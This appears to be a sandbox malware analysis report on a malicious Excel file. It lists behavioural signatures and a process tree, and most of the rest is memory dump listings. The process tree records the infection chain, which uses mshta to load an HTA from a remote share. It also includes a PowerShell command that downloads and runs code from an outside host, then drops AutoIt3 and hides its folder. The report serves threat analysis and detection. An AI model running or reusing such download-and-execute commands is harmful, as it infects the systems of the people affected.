Resubmissions
08/05/2024, 09:31
240508-lg8bfadh2v1008/05/2024, 09:23
240508-lcsp7ade4t1008/05/2024, 09:17
240508-k9f7zsdc4w1007/05/2024, 11:17
240507-ndpe9sde211Analysis
- max time kernel
145s - max time network
139s - platform
windows10-1703_x64 - resource
win10-20240404-en - resource tags
- submitted
08/05/2024, 09:23
General
- Target May-Document-6_2024-6683.xlsx
- Size 51KB
- Sample240508-lcsp7ade4t
- SHA256 a3eeef65c42890fd372bc7c627b36d2b9d54a909b809663e0f0392fa34766794
Malware Config
Signatures
- Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 2 IoCs
- Executes dropped EXE 1 IoCs
- Command and Scripting Interpreter: AutoIT 1 TTPs 1 IoCs
Using AutoIT for possible automate script.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks processor information in registry 2 TTPs 5 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 14 IoCs
- Suspicious use of WriteProcessMemory 14 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\May-Document-6_2024-6683.xlsx"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\mshta.exeC:\Windows\System32\mshta.exe -Embedding2⤵
- Process spawned unexpected child process
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "\\lincsnet.com\share\MS_EXCEL_DOCUMENT_HELPER.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'updateleft.com/rmtixfwn')3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\bwjv\Autoit3.exe"C:\bwjv\Autoit3.exe" script.a3x4⤵
- Executes dropped EXE
- Command and Scripting Interpreter: AutoIT
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\SysWOW64\attrib.exe"C:\Windows\system32\attrib.exe" +h C:/bwjv/4⤵
- Views/modifies file attributes
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_05lqvyty.2ro.ps1
Autoit3.exe
script.a3x
memory/1104-0-0x00007FFE0AAC0000-0x00007FFE0AAD0000-memory.dmp
memory/1104-2-0x00007FFE0AAC0000-0x00007FFE0AAD0000-memory.dmp
memory/1104-1-0x00007FFE0AAC0000-0x00007FFE0AAD0000-memory.dmp
memory/1104-3-0x00007FFE0AAC0000-0x00007FFE0AAD0000-memory.dmp
memory/1104-8-0x00007FFE4AA30000-0x00007FFE4AC0B000-memory.dmp
memory/1104-7-0x00007FFE4AA30000-0x00007FFE4AC0B000-memory.dmp
memory/1104-6-0x00007FFE4AAD5000-0x00007FFE4AAD6000-memory.dmp
memory/1104-9-0x00007FFE4AA30000-0x00007FFE4AC0B000-memory.dmp
memory/1104-10-0x00007FFE07710000-0x00007FFE07720000-memory.dmp
memory/1104-11-0x00007FFE4AA30000-0x00007FFE4AC0B000-memory.dmp
memory/1104-15-0x00007FFE4AA30000-0x00007FFE4AC0B000-memory.dmp
memory/1104-14-0x00007FFE4AA30000-0x00007FFE4AC0B000-memory.dmp
memory/1104-13-0x00007FFE4AA30000-0x00007FFE4AC0B000-memory.dmp
memory/1104-12-0x00007FFE4AA30000-0x00007FFE4AC0B000-memory.dmp
memory/1104-16-0x00007FFE07710000-0x00007FFE07720000-memory.dmp
memory/1104-17-0x00007FFE4AA30000-0x00007FFE4AC0B000-memory.dmp
memory/1104-18-0x00007FFE4AA30000-0x00007FFE4AC0B000-memory.dmp
memory/1104-19-0x00007FFE4AA30000-0x00007FFE4AC0B000-memory.dmp
memory/1104-22-0x00007FFE4AA30000-0x00007FFE4AC0B000-memory.dmp
memory/1104-21-0x00007FFE4AA30000-0x00007FFE4AC0B000-memory.dmp
memory/1104-28-0x00007FFE4AA30000-0x00007FFE4AC0B000-memory.dmp
memory/1104-27-0x00007FFE4AA30000-0x00007FFE4AC0B000-memory.dmp
memory/1104-26-0x00007FFE4AA30000-0x00007FFE4AC0B000-memory.dmp
memory/1104-25-0x00007FFE4AA30000-0x00007FFE4AC0B000-memory.dmp
memory/1104-29-0x00007FFE4AA30000-0x00007FFE4AC0B000-memory.dmp
memory/1104-24-0x00007FFE4AA30000-0x00007FFE4AC0B000-memory.dmp
memory/1104-23-0x00007FFE4AA30000-0x00007FFE4AC0B000-memory.dmp
memory/1104-31-0x00007FFE4AA30000-0x00007FFE4AC0B000-memory.dmp
memory/1104-32-0x00007FFE4AA30000-0x00007FFE4AC0B000-memory.dmp
memory/1104-30-0x00007FFE4AA30000-0x00007FFE4AC0B000-memory.dmp
memory/1104-20-0x00007FFE4AA30000-0x00007FFE4AC0B000-memory.dmp
memory/1104-508-0x00007FFE4AA30000-0x00007FFE4AC0B000-memory.dmp
memory/1340-195-0x0000000006700000-0x0000000006736000-memory.dmp
memory/1340-196-0x0000000006EE0000-0x0000000007508000-memory.dmp
memory/1340-197-0x0000000006CF0000-0x0000000006D12000-memory.dmp
memory/1340-198-0x00000000076F0000-0x0000000007756000-memory.dmp
memory/1340-199-0x0000000007760000-0x00000000077C6000-memory.dmp
memory/1340-200-0x00000000077D0000-0x0000000007B20000-memory.dmp
memory/1340-201-0x0000000007690000-0x00000000076AC000-memory.dmp
memory/1340-202-0x00000000080C0000-0x000000000810B000-memory.dmp
memory/1340-203-0x0000000007E10000-0x0000000007E86000-memory.dmp
memory/1340-218-0x0000000009720000-0x0000000009D98000-memory.dmp
memory/1340-219-0x0000000008CC0000-0x0000000008CDA000-memory.dmp
memory/1340-224-0x00000000094F0000-0x00000000096B2000-memory.dmp
memory/1340-232-0x0000000009350000-0x0000000009372000-memory.dmp
memory/1340-233-0x000000000A2A0000-0x000000000A79E000-memory.dmp
memory/1340-231-0x00000000093C0000-0x0000000009454000-memory.dmp
memory/1340-243-0x0000000009E60000-0x0000000009E93000-memory.dmp
memory/1340-244-0x000000006FE30000-0x000000006FE7B000-memory.dmp
memory/1340-245-0x000000006FE80000-0x00000000701D0000-memory.dmp
memory/1340-246-0x0000000006A40000-0x0000000006A5E000-memory.dmp
memory/1340-251-0x0000000009EA0000-0x0000000009F45000-memory.dmp
memory/1340-326-0x0000000009FF0000-0x000000000A002000-memory.dmp
memory/1340-335-0x0000000009FE0000-0x0000000009FEA000-memory.dmp
memory/1340-375-0x000000006FE80000-0x00000000701D0000-memory.dmp
memory/1340-470-0x000000000A070000-0x000000000A08A000-memory.dmp
memory/1340-475-0x000000000A0B0000-0x000000000A0B8000-memory.dmp
memory/1700-507-0x00007FF6A1920000-0x00007FF6A1928000-memory.dmp